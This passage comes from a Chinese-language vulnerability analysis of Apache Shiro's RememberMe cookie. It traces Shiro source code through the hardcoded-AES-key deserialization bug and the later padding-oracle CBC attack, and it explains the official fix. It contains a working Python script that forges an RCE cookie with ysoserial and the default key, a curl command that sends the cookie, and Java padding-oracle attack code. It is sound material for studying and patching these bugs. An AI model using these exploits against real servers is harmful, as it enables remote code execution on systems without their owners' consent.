通过上下文中存储的session id,去会话管理器,回顾我们前面的配置,可以知道是一个ehcache的会话管理器,意味着,我们得回话都是存储在缓存中的,使用ehcache可以更方便的进行集群部署,以同步回话数据

  • context = resolvePrincipals(context);

这个是RememberMe的核心处,也是我们后面要详细讲的地方

  • Subject subject = doCreateSubject(context);

根据前面做的事情,在这一步创建Subject

  • save(subject);

把Subject保存到Session中

上面几点就是createSubject()方法逻辑的大概总结

接下来我们进一步去分析RememberMe模块的逻辑,跟进resolvePrincipals()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected SubjectContext resolvePrincipals(SubjectContext context) {

PrincipalCollection principals = context.resolvePrincipals();

if (isEmpty(principals)) {
log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");

principals = getRememberedIdentity(context);

if (!isEmpty(principals)) {
log.debug("Found remembered PrincipalCollection. Adding to the context to be used " +
"for subject construction by the SubjectFactory.");

context.setPrincipals(principals);
} else {
log.trace("No remembered identity found. Returning original context.");
}
}

return context;
}

此处可以看到,是从上下文解析出凭证信息PrincipalCollection,如果获取不到,就会调用getRememberedIdentity()方法获取,最后设置到上下文中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
} catch (Exception e) {
if (log.isWarnEnabled()) {
String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
"] threw an exception during getRememberedPrincipals().";
log.warn(msg, e);
}
}
}
return null;
}

public RememberMeManager getRememberMeManager() {
return rememberMeManager;
}

回顾前面的安全管理器的bean配置,我们可以清楚的记得其实现class是org.apache.shiro.web.mgt.DefaultWebSecurityManager,也就是当前类DefaultSecurityManager的子类

我们观察该子类的构造方法

1
2
3
4
5
6
7
8
9
10
public DefaultWebSecurityManager() {
super();
DefaultWebSessionStorageEvaluator webEvalutator = new DefaultWebSessionStorageEvaluator();
((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(webEvalutator);
this.sessionMode = HTTP_SESSION_MODE;
setSubjectFactory(new DefaultWebSubjectFactory());
setRememberMeManager(new CookieRememberMeManager());
setSessionManager(new ServletContainerSessionManager());
webEvalutator.setSessionManager(getSessionManager());
}

从构造方法可以很清楚的了解到,RememberMeManager的实现为CookieRememberMeManager

那么,我们继续跟进到getRememberedPrincipals()方法中来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

其中,主要就是两个点

  1. 从cookie中读取rememberMe值,通过base64解码后再进行AES解密,得到其解密后的字节数据bytes
  2. 把解密后的字节数据bytes反序列化为PrincipalCollection对象

那么,聪明的人就会发现,如果我们可以控制解密后的明文,我们就可以实现反序列化RCE了

0x02 反序列化远古洞(Shiro <= 1.2.4)

前面讲到了RememberMe这个点,接着,我们跟进1.2.4这个shiro版本的源码,去分析一下这个远古洞产生的原因吧。

RememberMeManager的实现为CookieRememberMeManager,我们延续上一章,跟进其源码getRememberedPrincipals()方法实现,可以发现,CookieRememberMeManager并没有其实现方法,在向上跟踪时发现,它是继承了org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,所以我们跟进到AbstractRememberMeManager的getRememberedPrincipals()方法实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

而getRememberedSerializedIdentity()抽象方法由其子类CookieRememberMeManager实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
//...
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

通过调用SimpleCookie的readValue()方法读取了一个base64的cookie值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";

private Cookie cookie;

/**
* Constructs a new {@code CookieRememberMeManager} with a default {@code rememberMe} cookie template.
*/
public CookieRememberMeManager() {
Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
cookie.setHttpOnly(true);
//One year should be long enough - most sites won't object to requiring a user to log in if they haven't visited
//in a year:
cookie.setMaxAge(Cookie.ONE_YEAR);
this.cookie = cookie;
}

通过审阅CookieRememberMeManager源码可以发现,该cookie名为rememberMe

1
2
3
4
5
6
7
8
9
10
11
private String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
}

接着通过调用ensurePadding()方法,如果rememberMe的base64值不符合规范,就会对其进行=符号的补充

最后调用

1
byte[] decoded = Base64.decode(base64);

对其base64解码返回

回到方法getRememberedPrincipals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

接着是对base64解码后的数据执行convertBytesToPrincipals()方法,看名称,其实表达了很清晰的含义了,就是把字节数据转换为凭证

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

其中decrypt()方法就是对其进行ASE解密,然后由deserialize()方法对其解密数据进行反序列化

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

这里有一个很关键的地方,也是这个远古漏洞造成的原因,就是getDecryptionCipherKey()方法

1
2
3
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}

它返回了一个AES解密的key,通过跟踪其设置的代码,可以跟到

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
1
2
3
4
5
6
7
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

没错,这个AES解密的key在默认情况下,是一个预置的值,那么到这里,这个漏洞的成因以及完全剖析结束了,那么,我们试试效果?

这是我测试的exploits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(payload,command):
popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
#iv = base64.b64decode(rememberMe)[:16]
iv = uuid.uuid4().bytes
print(iv)
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
print(sys.argv[1],sys.argv[2])
payload = encode_rememberme(sys.argv[1],sys.argv[2])
with open("payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
~

通过这个exp,就能生成攻击的cookie,最后使用这个cookie,就能达到RCE

1
curl -d "" "http://A.B.C.D:8080/login" --cookie "`cat payload.cookie`"

漏洞的修复:

在爆出这样的一个漏洞后,shiro官方的修复手段也很简单,就是让shiro每次启动,都会随机生成一个新的key作为AES解密的key,从而修复这个远古洞。

1
2
3
4
5
6
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}

0x03 PaddingOracle CBC Attack(shiro <= 1.4.1)

在好几年前的远古洞被修复之后,为何在前段时间,又爆出了新的RCE洞,而且还是在AES这个地方。

基本上,玩过CTF的人,大部分都了解过padding oracle和cbc翻转攻击,如果不太了解的,我建议看看《我对Padding Oracle攻击的分析和思考(详细)》这个文章。

要进行padding oracle攻击,需要目标系统满足一个条件,就是对于ASE解密时padding的正确与否,目标会返回一个明确的信息,类似布尔盲注。

我们转到被爆出漏洞的shiro版本(1.4.1)源码

回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

我这里列出一条执行方法栈

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

->

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

->

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

byte[] encrypted = ciphertext;

//No IV, check if we need to read the IV from the stream:
byte[] iv = null;

if (isGenerateInitializationVectors(false)) {
try {
//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it
//is:
// - the first N bytes is the initialization vector, where N equals the value of the
// 'initializationVectorSize' attribute.
// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

//So we need to chunk the method argument into its constituent parts to find the IV and then use
//the IV to decrypt the real ciphertext:

int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;

//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}

return decrypt(encrypted, key, iv);
}

->

1
2
3
4
5
6
7
private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
if (key == null || key.length == 0) {
throw new IllegalArgumentException("key argument cannot be null or empty.");
}
javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false);
return crypt(cipher, bytes);
}

->

1
2
3
4
5
6
7
8
private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
try {
return cipher.doFinal(bytes);
} catch (Exception e) {
String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
throw new CryptoException(msg, e);
}
}

这个执行栈有点长,但最终执行到最后一步crypt()方法时,如果解密出现padding错误的话,就会直接抛出异常

1
throw new CryptoException(msg, e);

,一直向上,直到我们刚刚说的getRememberedPrincipals()方法,接着被try、catch捕获异常,由onRememberedPrincipalFailure()方法进行处理

跟进其方法发现,forgetIdentity()方法在当前的AbstractRememberMeManager类并没有实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {

if (log.isWarnEnabled()) {
String message = "There was a failure while trying to retrieve remembered principals. This could be due to a " +
"configuration problem or corrupted principals. This could also be due to a recently " +
"changed encryption key, if you are using a shiro.ini file, this property would be " +
"'securityManager.rememberMeManager.cipherKey' see: http://shiro.apache.org/web.html#Web-RememberMeServices. " +
"The remembered identity will be forgotten and not used for this request.";
log.warn(message);
}
forgetIdentity(context);
//propagate - security manager implementation will handle and warn appropriately
throw e;
}

跟进其实现类org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)

1
2
3
4
5
6
7
public void forgetIdentity(SubjectContext subjectContext) {
if (WebUtils.isHttp(subjectContext)) {
HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
forgetIdentity(request, response);
}
}
1
2
3
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
getCookie().removeFrom(request, response);
}

可以看到,最后调用的是rememberMe这个cookie对应的SimpleCookie对象的removeFrom()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static final String DELETED_COOKIE_VALUE = "deleteMe";

public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = getName();
String value = DELETED_COOKIE_VALUE;
String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
String domain = getDomain();
String path = calculatePath(request);
int maxAge = 0; //always zero for deletion
int version = getVersion();
boolean secure = isSecure();
boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
SameSiteOptions sameSite = null;

addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly, sameSite);

log.trace("Removed '{}' cookie by setting maxAge=0", name);
}

很简单,源码可以看出来,覆盖掉了rememberMe这个cookie的值为deleteMe

那么,答案就呼之欲出了,只要padding错误,服务端就会返回一个cookie: rememberMe=deleteMe;

那么,上面讲述了padding错误的返回特征后,那么padding正确的特征到底是如何呢?

因为java原生的反序列化,是按照约定的格式读取序列化数据,一步一步反序列化的,那么也就是说,我如果在序列化数据后面加入一些数据,是不会影响反序列化的,这里可以参考一下《浅析Java序列化和反序列化》

那么,既然在序列化数据后面加上一段数据,不会影响反序列化,也就是说,我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就必然能被反序列化。

也就是说,在padding正常的情况下,反序列化能正常进行,web系统能知道我们的身份,在启用RememberMe,也就是配置了user的filter chain的接口或页面,就能正常的返回数据。

为什么说 配置了user的filter chain的接口或页面,就能正常的返回数据

我们回到最初的org.apache.shiro.web.servlet.AbstractShiroFilter#doFilterInternal处,在创建完成Subject后,我们说过,会执行一个filter chain

1
2
3
4
5
6
7
subject.execute(new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
});

跟进其executeChain()方法

1
2
3
4
5
protected void executeChain(ServletRequest request, ServletResponse response, FilterChain origChain)
throws IOException, ServletException {
FilterChain chain = getExecutionChain(request, response, origChain);
chain.doFilter(request, response);
}

其中比较关心的是getExecutionChain()方法,通过调用这个方法,返回了一个FilterChain,然后执行其doFilter()方法过滤请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) {
FilterChain chain = origChain;

FilterChainResolver resolver = getFilterChainResolver();
if (resolver == null) {
log.debug("No FilterChainResolver configured. Returning original FilterChain.");
return origChain;
}

FilterChain resolved = resolver.getChain(request, response, origChain);
if (resolved != null) {
log.trace("Resolved a configured FilterChain for the current request.");
chain = resolved;
} else {
log.trace("No FilterChain configured for the current request. Using the default.");
}

return chain;
}

到这里,我们应该隐约还有一些前面讲的内容的记忆吧?。。。没错,就是FilterChainResolver的实现PathMatchingFilterChainResolver,这里就是对其进行调用的地方了,通过调用其getChain()方法,找到相应的过滤器链执行过滤请求,那么,上面所说的user,对应的filter就是UserFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class UserFilter extends AccessControlFilter {

/**
* Returns <code>true</code> if the request is a
* {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
* if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
* is not <code>null</code>, <code>false</code> otherwise.
*
* @return <code>true</code> if the request is a
* {@link #isLoginRequest(javax.servlet.ServletRequest, javax.servlet.ServletResponse) loginRequest} or
* if the current {@link #getSubject(javax.servlet.ServletRequest, javax.servlet.ServletResponse) subject}
* is not <code>null</code>, <code>false</code> otherwise.
*/
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) {
if (isLoginRequest(request, response)) {
return true;
} else {
Subject subject = getSubject(request, response);
// If principal is not null, then the user is known and should be allowed access.
return subject.getPrincipal() != null;
}
}

/**
* This default implementation simply calls
* {@link #saveRequestAndRedirectToLogin(javax.servlet.ServletRequest, javax.servlet.ServletResponse) saveRequestAndRedirectToLogin}
* and then immediately returns <code>false</code>, thereby preventing the chain from continuing so the redirect may
* execute.
*/
protected boolean onAccessDenied(ServletRequest request, ServletResponse response) throws Exception {
saveRequestAndRedirectToLogin(request, response);
return false;
}
}

重点在isAccessAllowed()方法,判断了请求是否是登录请求,若是,则直接通过,否则会从上下文中取出前面创建的Subject,其中含有前面反序列化rememberMe解密数据得到的PrincipalCollection,也就是说,只要能正常反序列化成功,那么这里就会直接通过。

从这里我们就可以知道,我们为什么需要一个配置为user的接口或者页面了。

好了,两个最重要的条件就出来了:

  1. padding失败,返回一个cookie: rememberMe=deleteMe;
  2. padding成功,返回正常的响应数据

如果我们要进行padding oracle攻击,那我们只要判断响应头是否包含有cookie: rememberMe=deleteMe;,就能确定padding是否正常了。

那padding oracle究竟如何去实现呢?这里我推荐p0’s师傅的文章《Shiro Padding Oracle Attack 反序列化》

我这里也自己手撸了一个Java版的shiro padding oracle cbc attack exploits,放在marshalsec,大家可以参考一下,https://github.com/threedr3am/marshalsec

熟悉Java代码的,很容易能看出来,下面的代码,每一轮padding爆破是把一个data数据拼接到原有的rememberMe cookie,然后请求web服务端,根据其响应做出判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void attack(byte[] bytes) {
byte[] originRememberMe = Base64.getDecoder().decode(rememberMe.getBytes());

CBCResult cbcResult = PaddingOracleCBCForShiro
.paddingOracleCBC(bytes, data -> {
try {
byte[] newRememberMe = new byte[originRememberMe.length + data.length];
System.arraycopy(originRememberMe, 0, newRememberMe, 0, originRememberMe.length);
System.arraycopy(data, 0, newRememberMe, originRememberMe.length, data.length);
return request(newRememberMe);
} catch (Exception e) {
e.printStackTrace();
}
return false;
});

byte[] remenberMe = new byte[cbcResult.getIv().length + cbcResult.getCrypt().length];
System.arraycopy(cbcResult.getIv(), 0, remenberMe, 0, cbcResult.getIv().length);
System.arraycopy(cbcResult.getCrypt(), 0, remenberMe, cbcResult.getIv().length,
cbcResult.getCrypt().length);
System.out.println("remenberMe=" + Base64.getEncoder().encodeToString(remenberMe));
request(remenberMe);
}

而下面的代码,就是像荐p0’s师傅文章所说的,不断用两个block,去padding oracle,得到middle后,接着进行cbc翻转攻击,把我们预期要解密出cbcResBytes,也就是一个序列化的攻击payload,一段段的利用cbc翻转,得到相应的密文,接着存储到res这个数值,在全部都遍历攻击完毕后,通过CBCResult这个对象返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static CBCResult paddingOracleCBC(byte[] cbcResBytes,
Predicate<byte[]> predicate) {

//填充期望结果长度为16字节的倍数
cbcResBytes = padding(cbcResBytes);
System.out.println("[payload-length]:" + cbcResBytes.length);
//该值为期望结果的组数-1,用于不断反向取出每组期望值去CBC攻击
int cbcResGroup = cbcResBytes.length / 16;
byte[] res = new byte[cbcResBytes.length];
byte[] iv = new byte[16];
byte[] crypt = new byte[16];

int paddingLen = 0;
for (; cbcResGroup > 0; cbcResGroup--) {
System.out.println("[padding-length]:" + (paddingLen+=16) + "/" + cbcResBytes.length);
byte[] middle = paddingOracle(iv, crypt, predicate);
byte[] plain = generatePlain(iv, middle);
byte[] plainTmp = Arrays.copyOf(plain, plain.length);
plainTmp = unpadding(plainTmp);
System.out.println("[plain]:" + new String(plainTmp));
byte[] cbcResTmp = Arrays.copyOfRange(cbcResBytes, (cbcResGroup - 1) * 16, cbcResGroup * 16);
//构造新的iv,cbc攻击
byte[] ivBytesNew = cbcAttack(iv, cbcResTmp, plain);
System.out.println("[cbc->plain]:" + new String(generatePlain(ivBytesNew, middle)));

System.arraycopy(crypt, 0, res, (cbcResGroup - 1) * 16, 16);

crypt = ivBytesNew;
iv = new byte[iv.length];
}

return new CBCResult(crypt, res);
}

参考

我对Padding Oracle攻击的分析和思考(详细):https://www.freebuf.com/articles/web/15504.html

Shiro Padding Oracle Attack 反序列化:https://p0sec.net/index.php/archives/126/

浅析Java序列化和反序列化:https://xz.aliyun.com/t/3847

marshalsec:https://github.com/threedr3am/marshalsec